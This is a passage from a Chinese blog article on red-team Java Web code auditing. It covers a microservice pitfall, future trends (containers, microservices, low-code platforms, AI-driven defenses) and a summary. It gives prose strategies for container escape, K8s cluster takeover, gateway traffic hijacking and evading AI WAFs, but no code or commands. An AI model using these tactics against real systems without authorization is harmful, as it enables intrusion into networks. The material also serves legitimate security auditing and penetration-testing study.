    5. 坑点5:误判微服务的边界,导致漏洞利用范围受限

    问题:在微服务架构中,挖掘到某个微服务的漏洞,但因微服务间的网络隔离、权限控制,无法利用该漏洞攻击其他微服务,导致打点范围受限;
    解决方案:审计时先梳理微服务的架构、网络拓扑;利用时优先挖掘服务间通信的漏洞(如服务间未授权访问、微服务网关漏洞),通过服务间通信实现跨微服务的攻击。

    五、前瞻性趋势:Java Web安全与红队审计的未来挑战

    随着Java生态的不断升级,云原生、微服务、低代码成为Java Web开发的主流趋势,同时开发者的安全意识不断提升,传统的漏洞形式逐渐减少,新型的漏洞形式不断涌现,红队的Java Web代码审计面临着新的挑战和机遇。结合当前Java生态的发展趋势,总结以下三大前瞻性趋势,为红队审计提供方向:

    1. 云原生部署:容器化/编排化带来的新型安全风险

    云原生场景下,Java Web项目常通过Docker、K8s实现容器化部署和编排,此时漏洞不仅出现在代码层,还出现在容器层、编排层、镜像层,例如:Docker镜像中存在漏洞依赖、K8s的RBAC配置失误、容器间的网络隔离失效等。红队的审计范围需从纯代码审计扩展为代码+容器+编排的全栈审计,挖掘容器化场景下的专属漏洞,例如:通过代码漏洞获取容器权限后,利用Docker的挂载机制攻击宿主机,或利用K8s的API实现集群级别的控制。

    2. 微服务架构:服务间通信与分布式安全的新挑战

    微服务架构中,Java Web项目的服务解耦、分布式部署导致安全风险从“单点”扩散到“分布式”,例如:服务间的未授权访问、分布式配置中心的漏洞、服务注册发现的欺骗攻击等。红队的审计重点需从单个接口/模块扩展为微服务的整体架构、服务间的通信机制,挖掘分布式场景下的漏洞,例如:通过微服务网关的漏洞实现所有服务的流量劫持,或通过分布式配置中心获取所有微服务的敏感配置。

    3. 低代码/无代码:开发效率与安全的平衡难题

    低代码/无代码平台成为Java Web开发的新趋势,开发者通过拖拽式开发、可视化配置快速实现业务功能,无需编写大量的代码。此时漏洞主要出现在低代码平台的原生组件、配置逻辑中,而非开发者编写的业务代码,且该类漏洞具有批量性、广泛性的特点(一个平台的漏洞会影响所有基于该平台开发的Java Web项目)。红队的审计重点需从业务代码审计扩展为低代码平台的核心组件、配置机制审计,挖掘低代码平台的原生漏洞,实现批量打点。

    4. 安全防护升级:AI与自动化防护对红队的挑战

    随着AI技术的不断发展,AI驱动的自动化安全防护成为Java Web安全的主流趋势,例如:AI-WAF、AI代码审计工具、AI入侵检测系统等。这些防护措施能快速识别和拦截传统的漏洞利用payload,对红队的漏洞利用提出了更高的要求。红队需要不断创新payload的构造方式,实现免杀利用,同时挖掘AI防护的盲点(如新型漏洞、0day漏洞),突破自动化防护的限制。

    六、总结

    红队视角下的Java Web代码审计,始终围绕**“快速打点、获取权限、横向扩展”**的核心目标,摒弃无意义的低危漏洞挖掘,聚焦高价值、易利用、能落地的漏洞点。通过“关键词定位-输入溯源-漏洞验证-实战利用-横向扩展”的闭环流程,结合工具化、轻量化的审计方法,能在最短时间内实现从代码到服务器控制权的突破。

    随着Java生态向云原生、微服务、低代码的不断升级,红队的Java Web审计面临着新的挑战,审计范围需从纯代码审计扩展为全栈审计,审计重点需从单点漏洞扩展为分布式漏洞。但无论技术如何发展,红队审计的核心逻辑始终不变——以实战为导向,以落地为目标,通过不断学习新的技术、挖掘新的漏洞,适应Java Web安全的发展趋势,在攻防实战中占据主动。

    在未来的红队实战中,Java Web仍将是核心的攻击目标,掌握适配新时代的Java Web代码审计方法,是红队人员的必备技能,也是实现高效打点、拿下整个内网的关键。

    赞(0)
    未经允许不得转载:网硕互联帮助中心 » 红队利刃:Java Web代码审计快速打点实战——从漏洞定位到服务器控制权的精准突破
    分享到: 更多 (0)

    评论 抢沙发

    评论前必须登录!